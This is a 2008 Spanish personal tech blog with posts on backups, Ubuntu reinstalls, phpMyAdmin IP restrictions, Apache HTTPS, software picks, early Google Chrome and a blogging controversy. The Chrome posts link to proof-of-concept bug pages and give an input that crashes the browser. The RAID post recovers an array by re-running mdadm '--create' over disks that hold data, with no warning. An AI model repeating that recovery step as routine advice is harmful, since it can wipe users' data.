domingo, 28 de diciembre de 2008

Haz backups, tus datos lo merecen

¿Nunca os ha pasado que un vecino/hermano/primo/amigo/desconocido/"amigo de amigo"/"lo que sea", te ha dicho que se le ha roto el ordenador?

Si por alguna mala combinación astral, te toca hacer un pringao en toda regla. Llegas al lugar de susodicho listo/a y te toca ponerte las manos llenas de polvo, acumulado en los 4 o 5 años que tiene su ordenador, eso si: "Le puse una tarjeta mu'cara pa'jugar al counterstrike"...

Genial, tras 20 minutos con las comprobaciones básicas (todo enchufado, algo que el listo jamas tocó, ñapas varias, usb metidos, etc...), llega el momento cumbre:
- "Se te ha jodido el disco duro".
Mirada de tonto estándar del listo, y su repuesta: "¿Y no lo puedes arreglar?"

En este momento, llega la conversación que suele llevar a ningun sitio, salvo a decirle:
- No, no, no, no y no. Y tus datos, salvo backup, están perdidos
- ¿El que?
- Que estas jodido...
- Joder si tengo todo en el ordenador, la clave del banco, la de la declaración, las fotos con mi señora... ¿Y no hay ningún programa que...
- ¡Que no!, tienes el disco duro frito. Lo puedes llevar a un empresa de recuperación pero no son baratas.
- Es que el primo del cuñao del vecino del amigo nuestro (mas bien suyo) que juega conmigo al counter que hay un programa que te lo saca del disco y luego...
- Vale que te lo haga el. Me voy a tomar una aspirina.

Mirar, queridos listos y algún otro pringado de turno, si hay algo muy importante en tu disco duro, preocúpate de tus datos, que luego te vienen los problemas y los lloros. Haz un puto backup.
Para poner un ejemplo, mi proyecto de fin de carrera, esta en 3 sitios a la vez, con un backup de cada día de trabajo. Es esencial, y te ahorrará desgracias. Y si lees esto desde una empresa, mas te vale que empieces ha hacer backup en caso de que no lo hagas. Consejo de amigo.

Y personalmente te recomiendo Cobian, un software gratuito y que es un chorrada de configurar y te salvará el culo. Si quieres un buena guia de como hacerlo, aquí tienes una.

PD: OJO, hacer un backup de unos de datos de C: a C:, no vale.

Actualización (4.1.09): Gracias a KaosBaggins (del gran blog Escapando a ningún lugar)por su acertado comentario, en el cual me dice, que no solo hay que hacer backups, si no tambien testearlos para ver que realmente puedes restaurar en caso de fallo catastrófico.

martes, 18 de noviembre de 2008

Valencia, Ciudad de las Artes y las Ciencias

Sin duda, la imagen no representa lo sobrecogedor que es lo que se puede ver en la Ciudad de las Artes y las Ciencias... y lo pequeño que te sientes ante estos edificios.
Parece que estas en un película de ciencia-ficción.


Foto tomada con una HTC Touch...

viernes, 14 de noviembre de 2008

Reinstalar una Ubuntu, y no perder tus datos...

Vía Incognitosis, a su vez vía hehe2.net, veo un manual magnifico de como volver a instalar una Ubuntu, tras una nueva salida de una versión del sistema o tras un desastre (mejor una imagen del sistema + backup del home, pero no todo el mundo lo hace... ni yo mismo xD), y volver a tener tus programas y todas tus configuraciones.

Simplemente se basa en hacer backup del home y de algunos ficheros del directorio etc para guardar la configuración (no creo que sea bueno copiar toda la carpeta como dice javipas, ya que si actualizáis la versión de Ubuntu, puede que algún fichero de configuración cambie su estructura y entonces al sobreescribirlo con la versión vieja la liemos), luego guardar los paquetes que hemos instalado, una lista de las aplicaciones instaladas (mas o menos), para luego recuperar todo tras instalar en limpio.

Simplemente genial.

miércoles, 12 de noviembre de 2008

Restringiendo el acceso a phpMyAdmin a ciertas ips

En mis innumerables intentos de aprender, estuve metiendo mano a un servidor Apache y montando un pequeño proyecto, que utilizaba una base de datos MySQL. Para manejar la base de datos de manera mas rápida, siempre es recomendable usar phpMyAdmin, que nos es mas que un script en php que maneja de base de datos y te permite cómodamente hacer peticiones y demás...

Bueno, pues me di cuenta de chorra, que por defecto, phpMyAdmin, se queda configurado para que todo el mundo pueda conectarse a el. Cualquiera que se conectara a http://miserver/phpmyadmin tenia una bonita pantalla de login... ¡Maldición!.

No tarde mucho en encontrar la solución:

Editar /etc/phpmyadmin/config.inc.php. Es este fichero, se configura los aspectos generales del script. Existe una variable "$cfg" que contiene toda la configuración de dicho script. En realidad no es mas que un array, donde se usan índices "personalizados" (siendo sincero, no recuerdo la expresión técnica para este tipo de índices... pero se que la tiene). Nos vamos al elemento con el índice "Servers", donde indicamos lo servidores que vamos a manejar con phpMyAdmin, en mi caso solo uno.

Vamos al fichero y añadimos tras el "$i++;" lo siguiente:

$cfg['Servers'][$i]['AllowDeny']['order'] = 'deny,allow';
$cfg['Servers'][$i]['AllowDeny']['rules'][] = 'allow % from 127.0.0.1';
$cfg['Servers'][$i]['AllowDeny']['rules'][] = 'deny % from all';

Aunque existe una manera mas elegante de meter todas las "rules" en una sola instrucción, creando un array:
$cfg['Servers'][$i]['AllowDeny']['order'] = 'deny,allow';
$cfg['Servers'][$i]['AllowDeny']['rules'] = array(
'deny root from all',
'allow root from localhost',
'allow root from 10.0.0.0/8',
'allow root from 192.168.0.0/16',
'allow root from 172.16.0.0/12',
);

jueves, 6 de noviembre de 2008

¿Desaparede la Ing. Informática?, no, pero casi...

El día 19 los informáticos de España estamos en huelga. ¿Porqué?, pues te dejo el link para que te enteres como nos están comiendo la moral, y como al final, la informática, terminará siendo la puta de todos.

http://www.huelgainformatica.es/

Actualización: Para seguir un poco que esta ocurriendo, sobre todo en reuniones de rectores de las universidades informáticas y demas, os recomiendo: http://da.fi.upm.es/foro/viewforum.php?f=2 (foro de la Delegación de Alumnos de la Facultad de Informática de Madrid)

viernes, 24 de octubre de 2008

... Y tras el desastre en un raid, ¿que ocurre?

En mi caso, tras recuperar el raid, toca sincronizar la maquina espejo que tiene una copia de todo lo que hay en el raid principal.

Una imagen vale mas que mil palabras:

Tras una catástrofe, solo queda, sincronicar y esperar.

jueves, 16 de octubre de 2008

El misterioso caso de los UUID diferentes con mdadm y Ubuntu

Nota: Como siempre recomendar el blog de Iván López. Un crack en el tema del mdadm... yo soy un simple padawan xD

Niños y niñas, hoy tengo un caso escalofriante... ¿Os ha pasado esto, tras montar un raid con mdadm y reiniciar?:


nas002@nas002:~$ more /proc/mdstat
Personalities : [raid0]
md0 : inactive sda3[0](S) sdg1[6](S) sde1[4](S)
1459504960 blocks

unused devices: none

Es decir, que tengo 3 discos en el md0, los cuales ninguno de ellos esta funcionando, PERO lo peor de todo es que mi raid tiene 7 discos... ¿Donde estan?.

Os pongo en antedecentes. Como ya os he dicho, tengo 7 discos SATA, el primero de ellos con 3 particiones con solo una que es raid (el resto es sistema operativo que no va en raid), y con un raid 0, con otro ordenador espejo que sincroniza del ordenador maestro. Por suerte, los problemas los tengo con el ordenador espejo.

Bueno, esperar que vienen curvas. Y peor aun un terraplén...
nas002@nas002:~$ sudo mdadm -E /dev/md0
mdadm: No md superblock detected on /dev/md0.

Maldiciendo a mi suerte, la del creador de mdadm (pobrecillo si no tiene culpa), y la de la madre del tio del creador... me pongo a mirar los discos "spare" contra los discos que no aparecen... me temo lo peor:

nas002@nas002:~$ sudo mdadm -E /dev/sda3
/dev/sda3:
Magic : a92b4efc
Version : 00.90.00
UUID : 61396f44:258b90a4:08bb504a:52bcb104
Creation Time : Wed Oct 8 17:29:13 2008
Raid Level : raid0
Device Size : 0
Raid Devices : 7
Total Devices : 7
Preferred Minor : 0

Update Time : Wed Oct 8 17:29:13 2008
State : active
Active Devices : 7
Working Devices : 7
Failed Devices : 0
Spare Devices : 0
Checksum : 1d42f633 - correct
Events : 0.1

Chunk Size : 64K

Number Major Minor RaidDevice State
this 0 8 3 0 active sync /dev/sda3

0 0 8 3 0 active sync /dev/sda3
1 1 8 17 1 active sync /dev/sdb1
2 2 8 33 2 active sync /dev/sdc1
3 3 8 49 3 active sync /dev/sdd1
4 4 8 65 4 active sync /dev/sde1
5 5 8 81 5 active sync /dev/sdf1
6 6 8 97 6 active sync /dev/sdg1
nas002@nas002:~$ sudo mdadm -E /dev/sdb1
/dev/sdb1:
Magic : a92b4efc
Version : 00.90.00
UUID : 61396f44:258b90a4:fcd08df6:8c37c669
Creation Time : Wed Oct 8 17:29:13 2008
Raid Level : raid0
Device Size : 0
Raid Devices : 7
Total Devices : 7
Preferred Minor : 0

Update Time : Wed Oct 8 17:29:13 2008
State : active
Active Devices : 7
Working Devices : 7
Failed Devices : 0
Spare Devices : 0
Checksum : 4ad34955 - correct
Events : 0.1

Chunk Size : 64K

Number Major Minor RaidDevice State
this 1 8 17 1 active sync /dev/sdb1

0 0 8 3 0 active sync /dev/sda3
1 1 8 17 1 active sync /dev/sdb1
2 2 8 33 2 active sync /dev/sdc1
3 3 8 49 3 active sync /dev/sdd1
4 4 8 65 4 active sync /dev/sde1
5 5 8 81 5 active sync /dev/sdf1
6 6 8 97 6 active sync /dev/sdg1
nas002@nas002:~$

¡Ostia!, si los UUID no coinciden, y teoricamente son unicos y comunes. Ya estoy cagado, pero aun hay mas sorpresas:
nas002@nas002:~$ more /etc/mdadm/mdadm.conf
# mdadm.conf
#
# Please refer to mdadm.conf(5) for information about this file.
#

# by default, scan all partitions (/proc/partitions) for MD superblocks.
# alternatively, specify devices to scan, using wildcards if desired.
# DEVICE partitions

# auto-create devices with Debian standard permissions
#CREATE owner=root group=disk mode=0660 auto=yes

# automatically tag new arrays as belonging to the local system
#HOMEHOST

# instruct the monitoring daemon where to send mail alerts
MAILADDR informatica@inclam.com

# definitions of existing MD arrays
ARRAY /dev/md0 level=raid0 num-devices=7 UUID=61396f44:258b90a4:08bb504a:52bcb104

# This file was auto-generated on Mon, 09 Jun 2008 13:33:44 +0200
# by mkconf $Id: mkconf 261 2006-11-09 13:32:35Z madduck $

Analicemos el tema... el fichero de configuración de mdadm lo cree yo... y metí el uuid que creí que era el que identificaba al raid. ¿Me equivoqué?
Vaya usted a saber, el uuid de algunos discos a cambiado y me encuentro con que no tengo nada... NADA... de toda la información. Tras perder los nervios y googlear un poco, me encontre la solución. Simple, como casi todo en linux:

nas002@nas002:~$ sudo mdadm --stop /dev/md0
mdadm: stopped /dev/md0
nas002@nas002:~$ sudo mdadm --create --verbose /dev/md0 --level=0 --raid-disks=7 /dev/sda3 /dev/sd[b-g]1
mdadm: chunk size defaults to 64K
mdadm: /dev/sda3 appears to contain an ext2fs file system
size=-881926592K mtime=Wed Oct 8 17:40:38 2008
mdadm: /dev/sda3 appears to be part of a raid array:
level=raid0 devices=7 ctime=Wed Oct 8 17:29:13 2008
mdadm: /dev/sdb1 appears to be part of a raid array:
level=raid0 devices=7 ctime=Wed Oct 8 17:29:13 2008
mdadm: /dev/sdc1 appears to be part of a raid array:
level=raid0 devices=7 ctime=Wed Oct 8 17:29:13 2008
mdadm: /dev/sdd1 appears to be part of a raid array:
level=raid0 devices=7 ctime=Wed Oct 8 17:29:13 2008
mdadm: /dev/sde1 appears to be part of a raid array:
level=raid0 devices=7 ctime=Wed Oct 8 17:29:13 2008
mdadm: /dev/sdf1 appears to be part of a raid array:
level=raid0 devices=7 ctime=Wed Oct 8 17:29:13 2008
mdadm: /dev/sdg1 appears to be part of a raid array:
level=raid0 devices=7 ctime=Wed Oct 8 17:29:13 2008
Continue creating array? y
mdadm: array /dev/md0 started.
nas002@nas002:~$ sudo mount -a
nas002@nas002:~$ df -h
S.ficheros Tamaño Usado Disp Uso% Montado en
/dev/sda1 4,9G 2,6G 2,1G 56% /
[... basura ..]
/dev/md0 3,2T 2,0T 1011G 67% /mnt/raid
nas002@nas002:~$ ls /mnt/raid
[... LOS PUTOS DIRECTORIOS ESTAN AQUI ...]

Ahora solo queda, cambiar el UUID en el fichero /etc/mdadm/mdadm.conf... Dios, que crisis he tenido :P

viernes, 19 de septiembre de 2008

El dia que Rage Against The Machine cerró Wall Street

Y ademas con la aparición estelar de Michael Moore. Un video impagable.

jueves, 18 de septiembre de 2008

Tras formatear un Windows... ¿que instalo?

Leo a traves del blog de Forret, una de las famosas listas que se escriben en Internet y que no tienen mucho sentido, pero, contrariamente a lo parece, esta es muy interesante.

En este post, Forret nos cuenta que instala de manera automática en un PC con Windows... pero su lista me parece algo coja, o mas bien, muy complaciente... con ciertas aplicaciones, ya que incluye algunos programas que me sobran de cualquier PC.

Os animo a que leais su post, y saqueis conclusiones de que cosas instaláis sin pensar en un PC, ya sea nuevo o del trabajo.

Os dejo mi lista:

  • Firefox y Thunderbird (con Lightning): Navegador, junto con cliente de correo, con su complemento para calendario. Simplemente lo necesito.
  • ActiveSync + FinchSync: Con esto sincronizo mi PDA, HTC Touch, con Thunderbird de manera sencilla y gratuita.
  • OpenOffice: Cada vez me gusta mas la suite gratuita de ofimática. No echo de menos para nada la de Microsoft. Completa y bastante compatible, salvo para los MDB.
  • FreeAVG: Antivirus gratuito. Con actualizaciones diarias. Muy bueno aunque algo básico.
  • Filezilla: Cliente FTP, siempre necesario y muy completo.
  • Putty o WinSCP: ¿Quien puede vivir sin SSH o SCP?
  • Notepad++: El mejor remplazo para el notepad. Completo, y bastante configurable.
  • Steam: ¿Que?, uno tiene que echarse sus vicios. Sencillamente muy completo, pero tienes que obligar a tus amigos a que juegen para que veas lo que da de si este entorno para los jugones.
  • uTorrent: Simple y elegante :)
  • Free Video Converter: El conversor de vídeos mas SIMPLE que he visto. Lo que antes me hacia instalar 10 programas, ahora todo en uno. Sencillamente genial y encima gratis.
  • iTunes: Estoy buscando una alternativa al manejo de mi iPod, pero por ahora, lo uso exclusivamente para sincronizar, ya que es pesado como el solo y lento... Tampoco he buscado mucho la verdad.
  • Ziepod: Este programa te gestiona las suscripciones a podcast y luego te crea lista en iTunes, esta anticuado y tiene bugs, pero ahora mismo no encuentro nada mejor... ya que me niego a usar el iTunes para gestionar mis podcast.
  • CDBurnerXP: Lo conocí en el curro, buscando una alternativa gratuita al Nero. Esta mejorando mucho en las ultimas versiones, y si donas, tienes acceso a las versiones en desarrollo.
  • Foxit Reader: El mejor lector de PDF y gratuito. Mucho mejor que el de Adobe y mas ligero en ordenadores viejos.
  • 7-Zip: Compresor gratuito que hace las veces de Winzip y Winrar.
  • PDF Creator: Crea PDFs desde cualquier cosa que se pueda imprimir. Esto instala una impresora virtual que tras imprimir en ella, genera un PDF.
Mas o menos, es lo que veras en mi equipo recien instalado. Otro día, os digo lo que instalo en Ubuntu... eso si, la lista es menos extensa :P.

jueves, 11 de septiembre de 2008

¿Puede el iPod Nano reproducir video?. Si con Rockbox.

Importante: este post habla del iPod Nano de 1era generación. Si no sabes exactamente que iPod tienes y si estará soportado por esto que cuento a continuación comprobar esta página web, a ver si sale vuestro reproductor, que no tiene que ser solo de los de Apple. Para saber cuando soportarán tu versión de reproductor, mira esta página.

¿Tienes un iPod Nano o cualquiera de los reproductores soportados por Rockbox?. Estas de suerte, ya que gracias a este firmware desarrollado por la comunidad, podrás ver videos en tu iPod Nano, y reproducir otros muchos formatos, incluso jugar a la GameBoy (aunque algo dificil de usar) o jugar al Doom (aunque aún sin sonido)...

Y lo mejor de todo, gratuito, y libre. Con un interfaz 100% configurable mediante skins. Y ademas con instaler que lo hace todo solo, y sin traumas. En menos de 5 minutos. Con el maravilloso RockboxUtility, te permite hasta instalar extras de todo tipo. Ademas, si no te gusta Rockbox, este programa te lo desinstala con un solo botón, y sin borrar el firmware original, ya que incluso lo puedes usar si activas "hold" cuando veas la manzana al arrancar, volveras a ver en la pantalla el antiguo firmware de Apple.

Sencillamente genial.

jueves, 4 de septiembre de 2008

Mi primer efecto "Meneame".

Este mes, alguien meneó una noticia en la web "Menéame". Esto significa un montón de visitas que nunca pasarían por aquí, salvo por equivocarse al teclear algo. Bueno, pues aunque la noticia no tubo mucha repercusión en Menéame, esto es lo que apareció en mis estadísticas:

Aunque no muestro el numero de visitas, ya que son vergonzosamente bajas :P, pues solo tengo que deciros que multiplico por 20 las visitas que este blog suele recibir al cabo de un solo día.

Este blog esta alojado en los servidores de Google, o mejor dicho de Blogger, por lo que no tengo demasiado miedo a estos "efectos", pero no puedo imaginarme lo que puede suponer, tanto para el rendimiento del servidor web, como monetariamente para el que paga el ancho de banda, tener efectos de estos por semanas... como ocurre en muchas webs, y blogs, con mucho mas estilo que este pobre xD.

Google Chrome y los caracteres malditos: %

Google Chrome ya tiene 954 bugs abiertos, muchos de ellos estan duplicados ya que es la gente la que se anima a encontrarlos para Google... eso si que es un testeo.

Pero entre los muchos bugs, me he encontrado uno muy gracioso: si escribes en la barra de direcciones ":%" o "about:%", el navegador se estrella de la manera mas clásica :P
Parece que estos caracteres le sientan muy mal a este navegador, y encima con la masa social que esta detras, testeando a fondo este software, creo que los desarrolladores no van a dar a basto.

Por cierto, la gente de Kriptópolis se hacen eco de un estudio sobre el uso de memoria de Chrome, que hecha por tierra los "estudios" que decian que consumia menos que Firefox y Opera. Todo lo contrario... consume mas que IE 8.

miércoles, 3 de septiembre de 2008

Google Chrome ya tiene varios bugs...

Como es natural, Google Chrome, ya tiene varios bugs, ya que hay que recordar que estar versión es la 0.2 Beta, con todo lo que ello supone.

Nunca ningún software estará libre de bugs, y menos en fase beta. Pero os muestro un par de bugs que ya han aparecido:

Bajar cosas sin permiso de usuario (peligro!):
http://raffon.net/research/google/chrome/carpet.html
Tu Chrome hace BUUUUM!:
http://evilfingers.com/advisory/google_chrome_poc.php

No pasa nada. Simplemente __NO__ useis este software como tu navegador habitual y si lo hace, hazlo por webs de confianza, ya que, recuerda, es solo una pobre beta.

Google Chrome ya representa casi el 3% del mercado de navegadores

Esta mañana, he venido oyendo el podcast de emigrando, donde Jero hablaba de sus primera impresiones con Google Chrome (la beta para Windows ya esta disponible), muy positivas por cierto, y me he preguntado que repercusión habria tenido este navegador en los usuarios.

El omnipresente Enrique Dans, nos da un web donde llevan las estadisticas de varias web importantes y han habilitado una web donde muestra la evolución cada 15 minutos. En esto momentos, casi esta en el 3%, superando ampliamente a Opera y acercandose a Safari.

Espectacular, ¿no?.

Mis impresiones, tras probarlo escasamente 5 minutos, son buenas. Como siempre, Google tiene un interfaz de usuario muy limpio y sencillo. No he encontrado ninguna web, de 10 o 12 que visito todos los dias, que no funcione, aunque si he notado que va bastante mas rapido que Firefox 3.0 que es mi navegador por defecto.

¿Pero este navegador viene para quedarse?. Hablando de una Beta, con versión 0.2, sin duda viene para quedarse. De hecho va a pisar fuerte, aunque no al ritmo que lleva ahora mismo, ya que el efecto de "prueba" terminará y tendrá su bajón en las estadisticas de uso, pero no importara, por que es el navegador de Google... si, eso... Google. No importa el resto, Google irá extendiendo sus dominios, y ahora mismo es el reino de los navegadores el que va a conquistar. Y viendo la evolución de Google, que solo ha tenido un par de derrotas, aunque alguna luego fueran victorias (como el caso YouTube), estamos seguros que va ha hacer mucho ruido...

Actualización: Basandome en las estadísticas de este blog, el cual ha sufrido un pequeño efecto menéame gracias a que alguien ha meneado un articulo, he tenido un 2,4% de visitas de Chrome... sin duda muy curioso la irrupción de este navegador, que segun el link que os doy al principio de este post ya ha sobrepasado el 3%...

martes, 2 de septiembre de 2008

Otra gran utilidad: convertir base64 en ficheros

Y la de veces que me ha pasado... Te envian un correo, y te llega en ASCII, y los ficheros adjuntos se convierten es cosas como esta:

JVB11i0xLjIgDSXi48/TDQog3aawIDAgb2JqDTw8DS9MZW5ndGggMTEgMCBSDS9GaWx0ZXIgL0xa
V0RlY29kZSANPj4NcMqWUWjK4wyX1O22/D4uUjIYySXTEYDfAY8UUSjUghkEmEkiEEiVzV0Igkcq
0oQFwUbIi63cEEuCnJWWzg3QDSUQcbDiP264DDAjW33a8Xq+QMaZYXDaHDYcjHuwfDxPRZ7G6jI2
QGi2aDLuw4WjGY+SIiCOaGPjSQyySgaFD1sm5D4oqkjZwC4r2vg7yXvoFz7QRASywYhzEvvBL2Mr
Ar5vrA7IQVCsDM7DMBw ... [un montón mas de caracteres] ...
VVBE0i0xLjIgDSXi48/TDQogDTE543DAgb2JqDTw8DS9MZ5ndGggMTEgMCBSDS9GaWx0ZXIgL0ff
V0RlY29kZSANPjpaD3Aa


Esto nos ocurre, al no poder mandar ficheros binarios en ASCII, el cliente es muy listo y lo codifica en base64, para poder escribir un fichero binario en caracteres imprimibles en un correo electronico.
El "truco" es usar solo 64 caracteres por lo que un byte binario (8 bits), no entra en la representacion (6 bits) y suele representarse con 2 caracteres (2^6=64 y 2^8 = 256). Yo me explico fatal, pero en la Wikipedia hay un buen articulo con un diagrama muy clarificador.

Bueno, pues si nos pasa, buscamos la extensión en el atributo "filename=" que vendrá en el correo y luego visitamos esta web. Le copiamos este bloque de caracteres, marcamos decode, y recibimos un fichero, al cual solo nos resta cambiar la extensión a la que marca el atributo "filename". ¿Sencillo?.

Google se lanza a la guerra de los navegadores... ¿y tiene las de ganar?

Via Bitelia, veo que ya se han descubierto las primeras capturas del "futuro" navegador de Google, o Google Chrome (GC para los amigos), aunque creo que son mas un diseño, que un software ya diseñado.

Aunque muuuuuchos sitios ya se han hecho eco de la noticia de la aparición de este proyecto de la gigantesca Google, pues pocos se han leído que trae de nuevo en el famoso comic que han distribuido... Mas o menos es esto:

  • Basado en el render Webkit, en el que también se basa Safari, por ejemplo.
  • Open Source...
  • Reinvención, o algo parecido, de la navegación por pestañas. Cada pestaña es un proceso independiente, que se puede colgar sin afectar al resto de las pestañas. Es una gran idea, pero no se que tal funcionará con 50 pestañas a la vez. Ayudara a un uso mas eficiente de la memoria, evitando fragmentación de esta.
  • Los addons, ahora saldrán en el task del navegador para identificar los problemáticos y poder solucionar cuelgues o malfunciones.
  • Usaran el potencial de Google, para testear su navegador con el crawler que usa Google en su buscador.
  • Reescritura de 0 del motor Javascript, y partirán de un trabajo hecho en Dinamarca llamado v8 de virtualización del motor javascript. No queda claro si es parte de Google, o es un desarrollo externo. Este motor, generará código maquina por lo que será mas rápido. Tendra un Garbaje Collector, que recuperará la memoria que no se use.
  • El motor javascript puede ser substituido ya que será externo a la aplicación. Una gran idea para que la comunidad mejore los motores/maquinas de javascript.
  • "Omnibox"... o lo que promete ser una barra de URL inteligente :)
  • Cuanto abrimos una nueva pestaña, esta ya tendrá contenido, y no estará vacia.
  • Muy interesante, es la propuesta de que las webs puedan reducir las ventana de navegación. Es decir, quitar elementos y botones. En el comic nos muestran el Gmail, como se podria presentar. Muy interesante.
  • Los addons seran tambien procesos separados... si falla, la pestaña presentará el resto.
  • Inclusión de Google Gears... no se muy bien que es esto :P

Jamie y Adam nos enseñan lo que es el multiproceso

Via Helektron:

No puedo mas que demostrar mi admiración por estos dos locos de la ciencia, que me hacen reir a carcajadas mientras desmontan/confirman cualquier mito, por tonto que parezca. Pero este, una demostración de lo que pueden hacer con algo de pasta...

Esto es una presentación de nVidia, donde les contrataron para demostrar la diferencia entre monotarea y multitarea. Simplemente muy instructivo:

miércoles, 13 de agosto de 2008

Montando mi pequeño servidor web, con https.

Si... ya se... cientos de manuales, cientos de How-To de como hacerlo. Pero tras una pequeña búsqueda por la red, no he encontrado en ningún sitio como hacer lo que yo buscaba al 100% y en una sola guia.

¿Cuál es la idea?, montar un servidor web, con un acceso http y otro https completamente diferenciados. ¿Por qué?, bueno, porque en uno de mis alocados proyectos es montar una pequeña tienda online para que un familiar mio venda ciertos productos que vende directamente al publico y abrir un poco mas de mercado. Y antes de comprar el dominio y todo eso, pues haremos pruebas en mi pequeño servidor (el que ya conte que monte un pequeño amule, I y II).

Para empezar, montar un Apache+PHP+MySQL, lo que viene siendo un LAMP, que ya explique como montarlo en un solo paso en Ubuntu. Una vez todo montado, hay que hacer lo ajustes necesario en el Apache:

1. Activar el modulo ssl de Apache:

sudo a2enmod ssl
2. Crear la carpeta donde almacenar los certificados y crearlos
sudo mkdir /etc/apache2/ssl
sudo /usr/sbin/make-ssl-cert /usr/share/ssl-cert/ssleay.cnf /etc/apache2/ssl/apache.pem
3. Crear el nuevo sitio en apache
sudo cp /etc/apache2/sites-available/default /etc/apache2/sites-available/MISITIOCONSSL
4. Modificar el nuevo sitio para que sea parecido a esto, añadiendo estas lineas:
NameVirtualHost *:443
VirtualHost *:443
[...]
DocumentRoot /var/www/tienda
[...]
# Certificado para el https
SSLEngine on
SSLCertificateFile /etc/apache2/ssl/apache.pem

5. Y en el default poner:
NameVirtualHost *:80
VirtualHost *:80

Y con esto tendras una web no segura, para la entrada de tu servidor web, luego una segura (con el https delante) que es completamente diferente a la otra, de hecho tiene un directorio de inicio completamente diferente.

¿Otras configuraciones interesantes?... muchas pero ahora mismo me conformo con esta :)

martes, 12 de agosto de 2008

Tus feeds RSS en tu PocketPC

No se vosotros, pero yo soy un adicto a los programas de gestión de RSS, ya que me permite leer un montón de diferentes webs en poco tiempo, pero la verdad prefiero tener un programa para poder leer "offline" que obligatoriamente tener que usar Internet, como ocurriría si usas Google Reader.

Aun mas se acentúa esta necesidad cuando pienso en mi teléfono, un HTC Touch XL, en el cual me gustaría bajarme las noticias de todos mis Feeds y luego ir leyéndolas tranquilamente en el Metro o en casa, sin tener que usar el WiFi (y el gasto de batería consecuente).

La solución llego pronto, sin mucho rastrear, encontre la solución, y encima GNU. pRSSreader, que es un programa que hace lo que tiene que hacer. Ademas permite trabajar "Offline", ¡perfecto!.

El programa tiene muy buena fama en los blogs, y cuando entras en su web, ves que tiene bastante buena pinta.

  • Desarrollado en C++. Me gusta el .NET, pero sin duda esto le da mas velocidad a la aplicación.
  • Soporta todos los formatos RSS, también RDF y Atom.
  • Cache configurable. Yo la tengo en la tarjeta SD.
  • Importar y exportar a OMPL.
  • Modo offline.
  • En castellano.
  • Plugin en la pantalla principal que te dice lo que tienes por leer.

Ahora, me lo instalo en la PDA, y lo primero que hago es ir a mi lector RSS (en Windows... si es lo que tiene los ordenadores del trabajo) y exportar los feeds a formato OMPL (todo en uno), pero tiene una pega, el fichero OMPL tiene que ser ANSI, no UTF-8, por lo que, coges un programilla genial y gratuito, Notepad++, abres tu fichero OMPL y usas "Formato>Codificar ANSI" y importas el fichero... Si lo haces en Linux, Mac, o *NIX, no creo que tengas este problema que te he comentado.

Ya tengo un lector RSS en mi PDA, que se baja todos los feed al estar conectado por USB (y mientras carga) para luego ir leyendo tranquilamente... ¿Esta bien, no?

lunes, 11 de agosto de 2008

Profesionalización de la blogosfera es la "propina"

Hay aveces que levantarse merece la pena.

En esto de la blogosfera, todo el mundo trata de sacar "su" tajada, y muchos ya claman por profesionalizar este medio y la defunción de blog como este... ¡Malditos amateurs!.

No creo que sea el momento de llenar el blog de links a artículos que defienda un sentido u otro, pero si para reírse a gusto cuando he leído este articulo de La Tejedora (blog muy recomendable). Sencillamente, una fina ironía, y que si funciona, encima, me parto.

viernes, 1 de agosto de 2008

Cuando el fondo de la jarra es tu objetivo en la vida

Hay gente que hace obras de arte:



Y gente que sabe tributarlos como se merecen:



¿Con cual me quedaría?... Pues sin duda la original tiene su punto, pero a mi Metallica me tiran mucho, y encima cuando se ponen hacen cosas maravillosas.

Apunte chorra del viernes.

miércoles, 30 de julio de 2008

El caso "Referenta.com": Pasta o Calidad

He de reconocer que el caso que voy a explicar en este post me ha hecho replantearme que escribir en el blog, ya que no queria hacerlo de "actualidad" de lo que pasa en la red de redes, ya que hay cientos de blog, y mucho mejores, que tratan ese tema.

Haciendo una excepción voy ha hablar de algo que ha ocurrido en la "blogosfera" (o como se quiera llamar a la gente que se mueve por el mundo de los blogs) y de en la esfera del podcasting.

Jerónimo Palacios y José Antonio Gelado... ¿que puedo decir de esta dos personas?. Jero, durante mucho tiempo, tubo el mejor podcast en castellano, Emigrando (abandonado y mil veces retomado), y un blog bastante interesante (también en completo abandono). Y Gelado, mas conocido como el Maestro Gelado, pues que es el pionero del podcast en castellano con su Comunicando (ultimamente parece que Gelado esta volviendo a publicar podcast... sin un periodo fijo...).
Sencillamente dos grandes pesos pesados y por los cuales me introduje en el podcasting. Siempre respetados y con una gran reputación el mundillo.
Jero, en su blog, rapidamente dio muestras de que era un emprendedor, y que no queria quedarse estancado. Iba dar el salto y lo iba avisando.

Ambos, se embarcaron en un proyecto, que fue la creación de una especie de "blog de blogs" llamado Referenta y que tubo una divertida presentación. Según se pudo leer en aquellos tiempos, tubo buena aceptación, ademas de gente muy buena escribiendo para la web. Esta pagina se caracterizaba por su gran nivel, aunque con una publicación mucho menor a lo habitual en los blogs comerciales... Calidad, sin duda, mejor que cantidad. Que gran maxima, totalmente olvidada, cuando lo que prima es publicar 14 apuntes medio copiados, o remezclados, o reescritos. Sin duda, tenia buena pinta la idea.

Para tal empresa, se asociaron con sus "socios capitalistas", que parecen ser PC-Online, aunque no esto no esta muy claro hasta donde yo he llegado a investigar, por lo tanto si me equivoco, mil perdones.

Hace unos dias... todo se paró. Y Referenta pareció que dejaba de publicar cosas nuevas. Y de golpe nos desayunamos con que toda la plana de editores ha sido cesada, junto con la dirección, y se han incluido nuevos artículos, de una calidad muy mala, penosa, en comparación con lo anterior y con editores nuevos.
Los socios capitalistas, habian echado a la plana de editores ya que preferian mas cantidad que calidad y así seguir la tendencia general. Todo esto no se lo comunican a nadie y salvo un correo a la lista de correo interna de Referenta.
Entre esos editores, estaban Fran Zaplana (del podcast de Kafelog), Carlos Fenollosa (podcast de Dame la voz y El amuleto de Yendor), Ramón Rey (un gran peso pesado del podcastin con su Esquiva Esto), y alguno mas que se me olvida.

La reacción no se ha hecho esperar (toma, toma, toma con jugosos comentarios en el blog, toma con todo concentrado, toma meneo), e incluso se hacen ya analisis sobre el "Caso Referenta", que ya tiene hasta nombre propio. Sin duda habrá que seguir que pasa, ya que los "nuevos" dueños de Referenta estan dejando "comunicados" por todos los blogs que se les menciona defendiendose y echando la culpa a Jero... Lo mas divertido es que no dan ninguna expliación, en dicho comunicado, de porque han echado a los editores, además de acusarlos de que van a hundir ahora a Referenta por venganza. Toma ya.

¿Culebrón del verano?, se lo contaremos en "Ni palante de verano" xD

Actualización: Se me paso el comentario de Jose del Moral donde explica algo del trasfondo de la empresa Referenta 2008, ya que en Registro Mercantil aparece como empresa que se dedica al "tabaco en rama". Joder que raro suena todo esto.

lunes, 21 de julio de 2008

... ¿iPhone 3G merece la pena?.

